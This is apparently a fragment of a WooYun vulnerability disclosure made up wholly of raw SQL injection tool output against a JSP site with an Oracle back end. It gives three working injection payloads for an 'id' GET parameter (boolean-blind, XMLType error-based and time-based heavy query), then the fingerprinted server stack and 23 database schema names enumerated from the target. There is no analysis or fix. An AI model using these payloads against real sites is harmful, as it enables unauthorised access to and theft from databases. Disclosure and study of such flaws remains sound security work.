WooYun.org

Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1713b7d20afe49d19932c9be6f78b0ea' AND 6613=6613 AND 'DmBl'='DmBl
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: id=1713b7d20afe49d19932c9be6f78b0ea' AND 1050=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(120)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (1050=1050) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(100)||CHR(114)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND 'xXNA'='xXNA
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind (heavy query)
    Payload: id=1713b7d20afe49d19932c9be6f78b0ea' AND 7494=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND 'lQhP'='lQhP
---
web application technology: Apache 2.2.11, JSP
back-end DBMS: Oracle
available databases [23]:
[*] BABY
[*] CC
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_030000
[*] FLOWS_FILES
[*] JOINUS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] RMAN
[*] SCOTT
[*] SHANJUN
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WK_TEST
[*] WKSYS
[*] WMSYS
[*] XDB